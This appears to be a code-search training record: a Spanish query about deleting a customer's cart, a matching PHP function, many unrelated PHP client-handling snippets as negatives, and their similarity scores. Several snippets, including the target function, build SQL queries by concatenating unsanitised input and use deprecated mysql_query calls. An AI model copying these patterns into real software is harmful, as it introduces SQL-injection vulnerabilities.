class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"Codice Fiscale\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.= $ro['codfisc'];\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \"</TR>\\n\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"Citt&agrave;\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.= citta_stampa($ro['id_citta']);\n\t\t\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Via\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= $ro['via'];\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Telefono Fisso\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= $ro['tel_fisso'];\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Telefono Cellulare\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= $ro['tel_mobile'];\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Note\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= $ro['nota'];\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Inserito Da\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= idUtenteToNome($ro['id_utente_ins']);\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"</TABLE>\";\n\t\t\n\t\t$str.=\"</div>\";\n\n\t}\n\telse {\n\t\t$str.=\"<center>Nessun Cliente selezionato</center>\";\n\t}\n\treturn $str;\n}", "public function cliente() {\r\n\t\treturn $this->belongsTo('App\\Cliente');\r\n\t}", "public static function getClient($id){\n return (new Database('cliente'))->select('id = '.$id)->fetchObject(self::class);\n }", "public function getClient()\r\n {\r\n \t$this->db->from('vclient');\r\n \t$query = $this->db->get();\r\n \treturn $query->result();\r\n\r\n }", "public function comClientes(Request $request)\n {\n $cliente = Cliente::pluck('name', 'nombre', 'apellido1');\n return $cliente;\n }", "public function getIndirizzoClinica() {\r\n\r\n return $this->_via . \" \" . $this->_numeroCivico . \" \" . $this->_localita . \" \" . $this->_provincia;\r\n }", "public function getCedente() {\n return $this->oCedente;\n }", "public function getEmailCliente($clioid) {\r\n\r\n $clioid = $clioid ? $clioid : \"NULL\";\r\n\r\n $sql = \"SELECT Coalesce(prehemail_cliente, cliemail) AS prehemail_cliente\r\n FROM clientes\r\n left JOIN pre_rescisao\r\n ON presclioid = clioid \r\n LEFT JOIN pre_rescisao_hist \r\n ON prehpresoid = presoid \r\n WHERE clioid = $clioid \r\n ORDER BY prehdata DESC \r\n LIMIT 1\";\r\n\r\n $result = $this->_fetchAssoc(pg_query($this->_adapter, $sql));\r\n\r\n return $result ? $result['prehemail_cliente'] : ''; \r\n }" ]
[ "0.739257", "0.72925794", "0.7164855", "0.712227", "0.71154654", "0.70910746", "0.70649344", "0.7041795", "0.70335627", "0.70205545", "0.7004748", "0.69522804", "0.6882455", "0.68754077", "0.6823455", "0.6813117", "0.6778424", "0.6774241", "0.6763581", "0.67402273", "0.6739922", "0.6737381", "0.6736825", "0.6736825", "0.6736825", "0.6717356", "0.6716794", "0.6695683", "0.66816646", "0.66587675", "0.6622843", "0.6589045", "0.6583716", "0.6582419", "0.6551492", "0.6548168", "0.6544865", "0.65448153", "0.6534252", "0.6526265", "0.65118885", "0.65034205", "0.6490692", "0.648677", "0.64684075", "0.6463166", "0.6460962", "0.64603865", "0.6457899", "0.6450864", "0.64487207", "0.6414926", "0.6399935", "0.6393106", "0.6391259", "0.63810813", "0.63810813", "0.638099", "0.6366062", "0.6359253", "0.63545036", "0.6345407", "0.6337473", "0.6336078", "0.6320766", "0.63200986", "0.63179725", "0.629135", "0.628705", "0.62868047", "0.6285809", "0.628446", "0.62743425", "0.6264522", "0.62624377", "0.6261957", "0.6255847", "0.62544006", "0.6243144", "0.623429", "0.62309915", "0.6227609", "0.62239224", "0.6223314", "0.622068", "0.62111163", "0.62074596", "0.62045723", "0.62045723", "0.62037075", "0.6196971", "0.6186487", "0.6181145", "0.6169621", "0.6163024", "0.61465514", "0.61407286", "0.61407214", "0.6138614", "0.6135754", "0.61318207" ]
0.0
-1
Elimina el carrito de un cliente
function EliminaCarrito($CardCode){ if($this->con->conectar()==true){ return mysql_query("DELETE FROM `Carrito` WHERE `CardCode` = '" .$CardCode. "'"); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function eliminarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function eliminarClientes($idCliente){\n\t\t\t\t\n\t\t\t//SQL\n\t\t\t$query = \"DELETE FROM users WHERE id = $idCliente;\";\n\t\t\t$rst = $this->db->enviarQuery($query,'CUD');\n\t\t\treturn $rst;\n\t\t}", "public function removeAction()\n {\n if ( $this->_hasParam('razaoSocialTomador') == false )\n {\n $this->_redirect('clientes/list');\n }\n \t\t$modelo = new Application_Model_Clientes();\n $razaoSocialTomador = $this->_getParam('razaoSocialTomador');\n $modelo->removeByRazaoSocial($razaoSocialTomador);\n\n// $cnte = $modelo->removeByRazaoSocial($razaoSocialTomador);\n\t\t$this->_redirect('clientes/list');\n // action body\n }", "public function EliminarClientes()\n\t{\n\t\tif($_SESSION['acceso'] == \"administrador\") {\n\n\t\t\t$sql = \" select codcliente from ventas where codcliente = ? \";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->execute( array(base64_decode($_GET[\"codcliente\"])) );\n\t\t\t$num = $stmt->rowCount();\n\t\t\tif($num == 0)\n\t\t\t{\n\n\t\t\t\t$sql = \" delete from clientes where codcliente = ? \";\n\t\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t\t$stmt->bindParam(1,$codcliente);\n\t\t\t\t$codcliente = base64_decode($_GET[\"codcliente\"]);\n\t\t\t\t$stmt->execute();\n\necho \"<div class='alert alert-info'>\";\necho \"<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>\";\necho \"<center><span class='fa fa-check-square-o'></span> EL CLIENTE FUE ELIMINADO EXITOSAMENTE </center>\"; \necho \"</div>\";\n\t\t\t\texit;\n\n\t\t\t} else {\n\necho \"<div class='alert alert-warning'>\";\necho \"<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>\";\necho \"<center><span class='fa fa-info-circle'></span> ESTE CLIENTE NO PUEDE SER ELIMINADO, TIENE VENTAS ASOCIADAS ACTUALMENTE </center>\"; \necho \"</div>\"; \n\t\t\t\texit;\n\t\t\t} \n\n\t\t} else {\n\necho \"<div class='alert alert-warning'>\";\necho \"<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>\";\necho \"<center><span class='fa fa-info-circle'></span> USTED NO TIENE ACCESO PARA ELIMINAR CLIENTES, NO ERES EL ADMINISTRADOR DEL SISTEMA </center>\";\necho \"</div>\";\n\t\t\texit;\n\t\t}\t\n\t}", "public function eliminarPreDetalle(){\n $sql='DELETE FROM predetalle WHERE idCliente = ?';\n $params=array($this->idCliente);\n return Database::executeRow($sql, $params);\n }", "public function delete(){\n return (new Database('cliente'))->delete('id = '.$this->id);\n }", "public function excluirCliente($reg){\n //$conexao = $c->conexao();\n\n $sql = \"DELETE FROM tbclientes WHERE reg = '$reg' \"; \n \n $mensagem = \"O Usuário \".$_SESSION['email'].\" excluiu o Cliente com o REG $reg \";\n $this->salvaLog($mensagem);\n\n return $this->conexao->query($sql); \n \n\n }", "public function deletaCliente($id) {\n }", "function deletePreDetalle(){\n $sql='DELETE FROM predetalle WHERE idCliente = ?';\n $params=array($this->cliente);\n return Database::executeRow($sql, $params);\n }", "public function eliminarCliente($id) {\n $consultaExistenciacliente = $this->db->select(\"SELECT * FROM cliente \"\n . \"WHERE id = '\" . $id . \"' \");\n\n if ($consultaExistenciacliente != null) {\n $this->db->delete('cliente', \"`id` = '{$id}'\");\n } else {\n //Sino Inserto datos de Pre-Matricula del Estudiante\n echo 'Error...</br>Ya existe un cliente con ese ID';\n die;\n }\n }", "public function cliente_delete(){\n\t\t$cliente_id = $this->uri->segment(3);\n\n\t\t$respuesta = $this->Cliente_model->delete($cliente_id);\n\t\t\n\t\t$this->response($respuesta);\n\t}", "function eliminarViajeroInterno(){\n\t\t$this->procedimiento='obingresos.ft_viajero_interno_ime';\n\t\t$this->transaccion='OBING_CVI_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_viajero_interno','id_viajero_interno','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function destroy($id_cliente){}", "public function excluir(){\r\n\t\t$instancia = ServicoDAO::getInstancia();\r\n\t\t// executando o metodo //\r\n\t\t$servico = $instancia->excluir($this->getId());\r\n\t\t// retornando o resultado //\r\n\t\treturn $servico;\r\n\t}", "static public function ctrEliminarCliente(){\n\n\t\tif(isset($_GET[\"idCliente\"])){\n\n\t\t\t$idCliente = $_GET[\"idCliente\"];\n\n\t\t\t$respuesta = ModeloClientes::mdlEliminarCliente($idCliente);\n\n\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\techo'<script>\n\n\t\t\t\tswal({\n\t\t\t\t\t type: \"success\",\n\t\t\t\t\t title: \"El cliente ha sido borrado correctamente\",\n\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\twindow.location = \"clientes\";\n\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\n\t\t\t\t</script>';\n\n\t\t\t}\t\t\n\n\t\t}\n\n\t}", "function elimina_vetrina()\n {\n $peer = new VetrinaPeer();\n $do = $peer->find_by_id(Params::get(\"id_vetrina\"));\n $peer->delete($do);\n\n $peer2 = new ProdottoServizioVetrinaPeer();\n $peer2->id_vetrina__EQUAL(Params::get(\"id_vetrina\"));\n $elenco_prodotti_servizi = $peer2->find();\n foreach ($elenco_prodotti_servizi as $ps)\n $peer2->delete($ps);\n\n if (is_html())\n return Redirect::success();\n else\n return Result::ok();\n }", "private function eliminarEmpleadoRepetido()\n {\n //Sino me los trata como strings\n $this->empleados = array_unique($this->empleados, SORT_REGULAR);\n }", "public static function ctrEliminarCliente(){\n\n\tif (isset($_GET['idCliente'])) {\n\t\t\n\t\t$tabla = 'clientes';\n\n\t\t$datos = $_GET['idCliente'];\n\n\t\t$respuesta = ModeloCliente::mdlEliminarCliente($tabla, $datos);\n\n\t\tif ($respuesta == 'ok') { \n\n\t\t\t?>\n\n\t\t\t<script>\n\n\t\t\t\tswal({\n\n\t\t\t\t\ttype: \"success\",\n\t\t\t\t\ttitle: \"¡El usuario se eliminó correctamente!\",\n\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\tconfirmButtonText: \"Cerrar\",\n\t\t\t\t\tcloseOnConfirm: false\n\n\t\t\t\t}).then((result)=>{\n\n\t\t\t\t\tif(result.value){\n\n\t\t\t\t\t\twindow.location = \"clientes\";\n\n\t\t\t\t\t}\n\n\t\t\t\t});\n\n\n\t\t\t</script> \n\n\t\t\t<?php \n\t\t}\n\t}\n}", "function removeServico($campos){\n\t\t\t$itemID = $campos['InputDelServico'];\n\t\t\tfor($i=0;$i<sizeof($itemID);$i++){\n\t\t\t\t\t\t$sql=\" DELETE FROM vekttor_venda_servico WHERE id = '$itemID[$i]'\";\n\t\t\t\t\t\tmysql_query($sql);\n\t\t\t}\n}", "public static function crtEliminarCliente(){\n if (isset($_GET['idCliente'])) {\n\n $tabla = \"clientes\";\n $datos = $_GET['idCliente'];\n\n $respuesta = ModeloClientes::mdlEliminarCliente($tabla, $datos);\n\n if ($respuesta == \"ok\") {\n\n echo '<script>\n Swal.fire({\n type: \"success\",\n title: \"¡El cliente ha sido borrado correctamente!\",\n showConfirmButton: true,\n confirButtonText: \"Cerrar\",\n closeOnConfirm: false\n }).then(function(result){\n if (result.value) {\n window.location = \"clientes\";\n } \n })\n </script>';\n }\n }\n }", "public function tarifClientRemoveAction(Request $request)\n {\n if ($request->isXmlHttpRequest()) {\n $id = $request->request->get('id', '');\n\n $em = $this->getDoctrine()\n ->getManager();\n if ($id != '') {\n try {\n //Suppression\n if ($id != 'new_row') {\n $tarif = $this->getDoctrine()\n ->getRepository('AppBundle:FactTarifClient')\n ->find($id);\n if ($tarif) {\n $em->remove($tarif);\n $em->flush();\n $data = array(\n 'erreur' => false,\n );\n return new JsonResponse(json_encode($data));\n }\n }\n } catch (\\Exception $ex) {\n return new Response($ex->getMessage(), 500);\n }\n\n }\n throw new NotFoundHttpException(\"Tarif introuvable.\");\n } else {\n throw new AccessDeniedException('Accès refusé.');\n }\n }", "function eliminarServicio(){\r\n\t\t$this->procedimiento='gev.f_tgv_servicio_ime';\r\n\t\t$this->transaccion='tgv_SERVIC_ELI';\r\n\t\t$this->tipo_procedimiento='IME';\r\n\t\t\t\t\r\n\t\t//Define los parametros para la funcion\r\n\t\t$this->setParametro('id_servicio','id_servicio','int4');\r\n\r\n\t\t//Ejecuta la instruccion\r\n\t\t$this->armarConsulta();\r\n\t\t$this->ejecutarConsulta();\r\n\r\n\t\t//Devuelve la respuesta\r\n\t\treturn $this->respuesta;\r\n\t}", "public function excluir()\n {\n $pdo = new \\PDO(DSN, USER, PASSWD);\n //cria sql\n $sql = \"DELETE FROM EncontroComDeus WHERE id = ?\n \";\n\n //prepara sql\n $stm = $pdo->prepare($sql);\n //trocar valores\n $stm->bindParam(1, $this->id );\n\n $resposta = $stm->execute();\n\n $erro = $stm->errorInfo();\n\n //fechar conexão\n $pdo = null ;\n\n return $resposta;\n\n }", "static public function ctrBorrarCliente(){\n\n\t\tif(isset($_GET[\"idCliente\"])){\n\n\t\t\t$tabla =\"cliente\";\n\t\t\t$datos = $_GET[\"idCliente\"];\n\n\t\t\tif($_GET[\"fotoCliente\"] != \"\"){\n\n\t\t\t\tunlink($_GET[\"fotoCliente\"]);\n\t\t\t\trmdir('vistas/img/clientes/'.$_GET[\"cliente\"]);\n\n\t\t\t}\n\n\t\t\t$respuesta = ModeloClientes::mdlBorrarCliente($tabla, $datos);\n\n\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\techo'<script>\n\n\t\t\t\tswal.fire({\n\t\t\t\t\t type: \"success\",\n\t\t\t\t\t title: \"El Cliente ha sido borrado correctamente\",\n\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\twindow.location = \"cliente\";\n\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\n\t\t\t\t</script>';\n\n\t\t\t}\t\t\n\n\t\t}\n\n\t}", "public function EliminarCaja()\n\t\t{\n\n\t\t\t$sql = \" select codcaja from ventas where codcaja = ? \";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->execute( array(base64_decode($_GET[\"codcaja\"])) );\n\t\t\t$num = $stmt->rowCount();\n\t\t\tif($num == 0)\n\t\t\t{\n\n\t\t\t\t$sql = \" delete from cajas where codcaja = ? \";\n\t\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t\t$stmt->bindParam(1,$codcaja);\n\t\t\t\t$codcaja = base64_decode($_GET[\"codcaja\"]);\n\t\t\t\t$stmt->execute();\n\n\t\t\t\theader(\"Location: cajas?mesage=1\");\n\t\t\t\texit;\n\n\t\t\t}else {\n\n\t\t\t\theader(\"Location: cajas?mesage=2\");\n\t\t\t\texit;\n\t\t\t}\n\n\t\t}", "protected function removeClient() {\n\n\t\ttry {\n\n\t\t\t$field_id = Request::input('pk');\n\n\t\t\t$contentObj = ConnectContentClient::find($field_id);\n\n\t\t\t$contentObj->removeConnectClient();\n\n\t\t\treturn response()->json(array('code' => 0, 'msg' => 'Success'));\n\n\t\t} catch (\\Exception $ex) {\n\t\t\t\\Log::error($ex);\n\t\t\treturn response()->json(array('code' => -1, 'msg' => $ex->getMessage()));\n\t\t}\n\t}", "public function eliminar() {\n\t\t\n\t\t\n\t\t$juradodni = $_GET[\"dniJurado\"];\n\t\t\n\t\t$this -> JuradoMapper -> delete($juradodni);\n\n\t\t\n\t\t$this -> view -> redirect(\"jurado\", \"listar\");\n\t\t//falta cambiar\n\t}", "public function deleteClient(): void\n {\n $value = $this->getConsoleInput(\n sprintf(\n \"Deleting client using:\\n 0 - %s\\n 1 - %s\\n\",\n $this->fieldsToFill[0]['label'],\n $this->fieldsToFill[1]['label']\n )\n );\n if (null === $value) {\n return;\n }\n $Client = new Client();\n switch ($value) {\n case 0:\n case 1:\n $criteria = $this->generateCriteria((int)$value, $Client);\n break;\n default:\n print \"Invalid field!\\n\";\n\n return;\n break;\n }\n\n if (null === $criteria) {\n return;\n }\n\n try {\n if ($this->repository->deleteBy($criteria, $Client)) {\n print \"Client deleted with success!\\n\";\n } else {\n print \"Error while deleting client.\\n\";\n }\n } catch (QueryException $e) {\n print $e->getMessage();\n }\n }", "public static function eliminarCliente($id_cliente)\n {\n self::$obj_cliente = new Cliente();\n self::$obj_cliente->setId_cliente($id_cliente);\n self::$obj_cliente->setAccion(\"eliminar\");\n return ClienteDao::crudClientes(self::$obj_cliente);\n\n }", "public function eliminar($objeto){\r\n\t}", "function rimuoviCliente($id_cliente){\nif(trovaCliente($id_cliente)){\n mysql_query(\"DELETE utente,sensore,rilevazione FROM utente\nINNER JOIN sensore ON `utente`.`id_cliente` = `sensore`.`id_clienteFK`\nINNER JOIN rilevazione ON `sensore`.`id_sensore` = `rilevazione`.`id_sensoreFK`\nWHERE id_cliente = '\".$id_cliente.\"' \");\n\nreturn true;\n}\n\nelse {\nreturn false;\n}\n}", "public function eliminar($con){\r\n\t\t$sql = \"DELETE FROM lineaspedidos WHERE idPedido='$this->idPedido' AND idProducto='$this->idProducto'\";\r\n\t\t// Ejecuta la consulta y devuelve el resultado\r\n\t\treturn ($con->query($sql));\r\n\t}", "function Eliminar()\n{\n /**\n * Se crea una instanica a Concesion\n */\n $Concesion = new Titulo();\n /**\n * Se coloca el Id del acuifero a eliminar por medio del metodo SET\n */\n $Concesion->setId_titulo(filter_input(INPUT_GET, \"ID\"));\n /**\n * Se manda a llamar a la funcion de eliminar.\n */\n echo $Concesion->delete();\n}", "public function eliminar()\n {\n // Comprobar si esta logeado como admin\n if( isset($_SESSION['admin']) ){\n\n // Capturar el id enviado por GET\n $id = $_GET['id'];\n\n // Comprobar si no esta siendo utilizado en un reporte\n $comprobarForanea = Reporte::donde('tipo_reporte_id', $id)\n ->resultado();\n\n // Encontra el tipo de reporte por el id y capturarlo\n $tipoReporte = TipoReporte::encontrarPorID($id);\n\n\n if ( empty($comprobarForanea) ) {\n\n // Eliminar el tipo de reporte\n $tipoReporte->eliminar();\n\n\n // Guardar un mensaje de que se elimino correctamente en una cookie\n setcookie('mensaje', \"Se elimino correctamente el tipo de reporte ($tipoReporte->reporte)\", time() + 10, '/' );\n\n } else {\n\n // Guardar un mensaje de que se no se pudo eliminar\n setcookie('mensaje_error', \"El tipo de reporte ($tipoReporte->reporte) esta siendo utilizado en un reporte\", time() + 10, '/' );\n }\n\n\n // Redirigir a la tabla con todos los tipos de reporte\n header('Location: ../reportes/tipos_reporte');\n\n } else {\n\n // Redirigir al perfil\n header('Location: ../perfil');\n }\n }", "public function clientDeleted($client)\n\t{\n\t\t//$this->intercomService->deleteIntercomUser($client->getEmail());\n\t}", "function removePacote($campos){\n\t\t\t$listDel = $campos['InputDelPacote'];\t\t\t\n\t\t\t\t\n\t\t\t\tif(!empty($listDel)){\n\t\t\t\t\n\t\t\t\tfor($i=0;$i<sizeof($listDel);$i++){\n\t\t\t\t\t\tif($listDel[$i] != 0){\n\t\t\t\t\t\t\t\t$sql = \" DELETE FROM vekttor_venda_pacote WHERE pacotes_id = '$listDel[$i]' AND vekttor_venda_id = '$campos[venda_id]'\";\n\t\t\t\t\t\t\t\t//echo $sql;\n\t\t\t\t\t\t\t\tmysql_query($sql);\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t/*Seleciona os pacote para trazer os modulos */\n\t\t\t\t\t$sqlPacote = mysql_query($tn=\" SELECT * FROM pacote_item WHERE pacote_id = '$listDel[$i]' \");\n\t\t\t\t\t\twhile($pct=mysql_fetch_object($sqlPacote)){\n\t\t\t\t\t\t\t\t$modulos[] = $pct->sis_modulo_id;\n\t\t\t\t\t\t}\n\t\t\t\t} /*Fim de For*/\n\t\t\t\t\n\t\t\t\t\tfor($j=0;$j<sizeof($modulos);$j++){\n\t\t\t\t\t\t\t$sqlModulos = \" DELETE FROM usuario_tipo_modulo WHERE modulo_id = '$modulos[$j]' AND usuario_tipo_id = '$campos[id_usuario_tipo]'\";\n\t\t\t\t\t\t\tmysql_query($sqlModulos);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n}", "public function Eliminar(){\n\t\t\t$enlace = AccesoBD::Conexion();\n\n\t\t\t$sql = \"DELETE FROM denuncia WHERE ID_DENUNCIA = '$this->idDenuncia'\";\n\n\t\t\tif ($enlace->query($sql) !== TRUE) {\n \t\t\techo \"Error al eliminar la denuncia\";\n \t\t\texit();\n\t\t\t}\n\t\t\techo \"Denuncia eliminada\";\n\t\t}", "public static function eliminar(){\n if ($_SERVER['REQUEST_METHOD'] === 'POST') {\n $cita = Cita::find($_POST['id']);\n $cita->eliminar();\n header('Location:' . $_SERVER['HTTP_REFERER']);\n }\n }", "function eliminarHerrajeaccesorio(){\n\t\t$this->procedimiento='snx.ft_herrajeaccesorio_ime';\n\t\t$this->transaccion='SNX_HAC_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_herrajeaccesorio','id_herrajeaccesorio','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function EliminarProveedores()\n\t\t{\n\t\t\tif($_SESSION['acceso'] == \"administrador\") {\n\n\t\t\t\t$sql = \" select codproveedor from compras where codproveedor = ? \";\n\t\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t\t$stmt->execute( array(base64_decode($_GET[\"codproveedor\"])) );\n\t\t\t\t$num = $stmt->rowCount();\n\t\t\t\tif($num == 0)\n\t\t\t\t{\n\n\t\t\t\t\t$sql = \" delete from proveedores where codproveedor = ? \";\n\t\t\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t\t\t$stmt->bindParam(1,$codproveedor);\n\t\t\t\t\t$codproveedor = base64_decode($_GET[\"codproveedor\"]);\n\t\t\t\t\t$stmt->execute();\n\n\t\t\t\t\theader(\"Location: proveedores?mesage=1\");\n\t\t\t\t\texit;\n\n\t\t\t\t}else {\n\n\t\t\t\t\theader(\"Location: proveedores?mesage=2\");\n\t\t\t\t\texit;\n\t\t\t\t} \n\n\t\t\t} else {\n\n\t\t\t\theader(\"Location: proveedores?mesage=3\");\n\t\t\t\texit;\n\t\t\t}\t\n\t\t}", "public function eliminar() {\n //$this->delete();\n $campo_fecha_eliminacion = self::DELETED_AT;\n $this->$campo_fecha_eliminacion = date('Y-m-d H:i:s');\n $this->status = 0;\n $this->save();\n }", "protected function eliminar_cliente_modelo ($codigo){\n\t\t$query=mainModel::conectar()->prepare(\"DELETE FROM cliente WHERE CuentaCodigo =:Codigo\");\n\t\t$query->bindParam(\":Codigo\",$codigo);\n\t\t$query->execute();\n\t\treturn $query;\n\t}", "function borrar(){\n $id=$_POST[\"id\"];\n $consulta=\"DELETE FROM usuarios WHERE id = \".$id.\"\";\n echo $consulta. \"<br>\";\n \n\n $resultado = $conector->query($consulta);\n mostrarListado();\n }", "function eliminar_poliza($id_usuario_sesion, $tipo_sesion, $usuario_sesion, $conexion){\n $idcompania = base64_decode($_GET['idcompania']);\n $idpoliza = base64_decode($_GET['idpoliza']);\t\n\tif(isset($_POST['btnEliminar'])) {\n\t\t\n\t\t$update =\"delete from s_poliza where id_poliza = \".$idpoliza.\" and id_compania=\".$idcompania.\" LIMIT 1\";\n\t\t\n\n\t\tif($conexion->query($update)===TRUE){\n\t\t\t//SE METIO A TBLHOMENOTICIAS, VAMOS A VER LA NOTICIA NUEVA\n\t\t\t$mensaje='se elimino el numero de poliza correctamente';\n\t\t\theader('Location: index.php?l=des_poliza&var='.$_GET['var'].'&op=1&msg='.$mensaje);\n\t\t} else{\n\t\t\t$mensaje=\"Hubo un error al ingresar los datos, consulte con su administrador \".$conexion->errno. \": \". $conexion->error;\n\t\t\theader('Location: index.php?l=des_poliza&var='.$_GET['var'].'&op=2&msg='.$mensaje);\n\t\t} \n\t}else {\n\t\t//MOSTRAMOS EL FORMULARIO PARA DAR BAJA COMPANIA\n\t\tmostrar_eliminar_poliza($id_usuario_sesion, $tipo_sesion, $usuario_sesion, $conexion);\n\t}\n\t\n}", "function eliminarCuentaBancaria(){\n\t\t$this->procedimiento='tes.f_cuenta_bancaria_ime';\n\t\t$this->transaccion='TES_CTABAN_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cuenta_bancaria','id_cuenta_bancaria','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function excluir(){\r\n return (new Database('cartao'))->delete('id = '.$this->id);\r\n }", "function remove() {\n\t\t$option = JRequest::getCmd('option');\n\t\t// Se obtienen los ids de los registros a borrar\n\t\t$cids = JRequest::getVar('cid', array(0), 'post', 'array');\n $product_type_code = JRequest::getVar('product_type_code');\n\n\t\t// Lanzar error si no se ha seleccionado al menos un registro a borrar\n if (count($cids) < 1 || !$product_type_code) {\n\t\t\tJError::raiseError(500, JText::_('CP.SELECT_AN_ITEM_TO_DELETE'));\n\t\t}\n\n\t\t// Se obtiene el modelo\n\t\t$model = $this->getModel('comments');\n\t\t// Se intenta el borrado\n\t\tif ($model->delete($cids, $product_type_code)) {\n\t\t\t$msg = JText::_('CP.DATA_DELETED');\n\t\t\t$type = 'message';\n\t\t} else {\n\t\t\t// Si hay algún error se ajusta el mensaje\n\t\t\t$msg = $model->getError();\n\t\t\tif (!$msg) {\n\t\t\t\t$msg = JText::_('CP.ERROR_ONE_OR_MORE_DATA_COULD_NOT_BE_DELETED');\n\t\t\t}\n\t\t\t$type = 'error';\n\t\t}\n\n\t\t$this->setRedirect('index.php?option=' . $option . '&view=comments', $msg, $type);\n\t}", "public function eliminarderivoAction()\n {\n $this->disableAutoRender();\n\n /* Recibo la lista de Ids separado por comas */\n $idList = $this->_getParam('id');\n\n if ($idList) {\n /* Convierto la lista a un Array */\n $idArray = explode (\",\", $idList);\n\n /* Recorro el array eliminando cada Id */\n foreach ($idArray as $id) {\n try {\n $resultado = $this->_modeloDerivotemporal->eliminar($id, $this->_usuario);\n\t\t\t\t\t\n if($resultado == 0) { /* Si no se eliminó */\n echo 'error|No está autorizado a eliminar este registro'; \n exit;\n }\n\t\t\t\t\n\t\t} catch(Exception $ex) {\n $message = $ex->getMessage();\n echo 'error|'.$message;\n }\n }\n }\n }", "public function excluir(){\n\t\tglobal $tabela_links;\n\t\t$consulta = new conexao();\n\t\t$endereco = $consulta->sanitizaString($this->end_link);\n\t\t$funcionalidade_tipo = (int) $this->funcionalidade_tipo;\n\t\t$funcionalidade_id = (int) $this->funcionalidade_id;\n\t\t//echo(\"$endereco\t $funcionalidade_tipo\t$funcionalidade_id\");\n\t\t$consulta->connect();\n\t\t$consulta->solicitar(\"DELETE FROM $tabela_links \n\t\t\t\t\t\t\t\tWHERE endereco = '$endereco'\n\t\t\t\t\t\t\t\tAND funcionalidade_tipo\t= 